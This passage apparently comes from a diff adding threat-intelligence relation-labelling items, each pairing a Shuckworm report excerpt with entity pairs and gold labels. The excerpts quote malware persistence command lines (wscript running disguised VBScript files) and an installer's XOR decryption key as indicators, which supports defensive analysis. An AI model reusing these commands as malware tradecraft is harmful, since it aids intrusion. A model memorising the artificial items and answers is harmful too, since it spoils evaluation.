39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
+        "output": "<label>delivers</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: PowerShell\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nPterodo\n### Target Entity: Shuckworm\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Telegram\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Telegraph\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGiddome\n### Target Entity: Shuckworm\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: C&C\n### Possible Relationship Labels:\n['uses', 'hosts', 'owns', 'compromises', 'is not related to', 'not sure']\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>owns</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nPterodo\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGiddome\n### Target Entity: C&C\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>exfiltrates-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Pterodo\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of 